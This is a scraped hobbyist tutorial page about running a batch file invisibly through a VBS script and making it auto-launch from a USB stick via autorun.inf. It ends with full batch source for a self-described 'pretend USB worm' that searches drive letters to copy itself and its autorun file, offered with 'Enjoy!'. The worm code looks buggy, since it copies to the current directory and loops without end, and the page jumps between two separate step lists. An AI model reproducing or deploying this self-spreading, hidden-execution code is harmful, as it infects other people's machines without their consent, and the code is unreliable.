Step 5Make a batch file to launch vb script and file.batch
create with word and save as launch.bat
____________________________
wscript.exe \invisible.vbs file.bat
____________________________
| « Previous Step | Download PDFView All Steps | Next Step » |
| « Previous Step | Download PDFView All Steps | Next Step » |

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.
Step 1. Copy the code below.
autorun (needs to be in square brackets)
OPEN=test.bat
shellexecute=test.bat
shell=Auto
shell\Auto=&AutoPlay
shell\Auto\command=test.bat
Step 2. Copy and paste the code above into Windows Notepad.
Step 3. Replace the test.bat filename with the batch file name you want to open.
Step 4. Save the code in Notepad as 'autorun.inf' without the quotes, and save 'autorun.inf' on the root of your USB stick.
Step 5. Make sure the batch file you referred to in 'autorun.inf' exists on the root of your USB stick.
Step 6. Wait for about 10 seconds, then unplug your USB stick.
Step 7. Plug your USB stick in again.
Step 8. Use My Computer and double click on your USB stick.
Step 9. Watch the batch file work its magic.
If you want the code to my test.bat file, it is just a pretend USB 'worm' that checks for other drive letters to copy two files to. When you double click on the drive with the two files (autorun.inf, test.bat) the autorun.inf file executes test.bat and that checks for existence of the files and then looks for other drives to put those two files on. C: drive is also out of the question because for many it is the system drive.
Here's the code:
@echo off
:1
set drive=D:\
IF EXIST %drive% goto copy
set drive=E:\
IF EXIST %drive% goto copy
set drive=F:\
IF EXIST %drive% goto copy
set drive=G:\
IF EXIST %drive% goto copy
set drive=H:\
IF EXIST %drive% goto copy
set drive=I:\
IF EXIST %drive% goto copy
set drive=J:\
IF EXIST %drive% goto copy
set drive=K:\
IF EXIST %drive% goto copy
set drive=L:\
IF EXIST %drive% goto copy
set drive=M:\
IF EXIST %drive% goto copy
set drive=N:\
IF EXIST %drive% goto copy
set drive=O:\
IF EXIST %drive% goto copy
set drive=P:\
IF EXIST %drive% goto copy
set drive=Q:\
IF EXIST %drive% goto copy
set drive=R:\
IF EXIST %drive% goto copy
set drive=S:\
IF EXIST %drive% goto copy
set drive=T:\
IF EXIST %drive% goto copy
set drive=U:\
IF EXIST %drive% goto copy
set drive=V:\
IF EXIST %drive% goto copy
set drive=W:\
IF EXIST %drive% goto copy
set drive=X:\
IF EXIST %drive% goto copy
set drive=Y:\
IF EXIST %drive% goto copy
set drive=Z:\
IF EXIST %drive% goto copy
start
exit
:copy
IF EXIST .\autorun.inf goto bad
IF EXIST .\test.bat goto bad
copy /Y autorun.inf .\
copy /Y test.bat .\
start %drive%
:bad
goto 1
The :bad label tells the computer if the two files do not exist on the specified drive, go back and start up again.
Enjoy!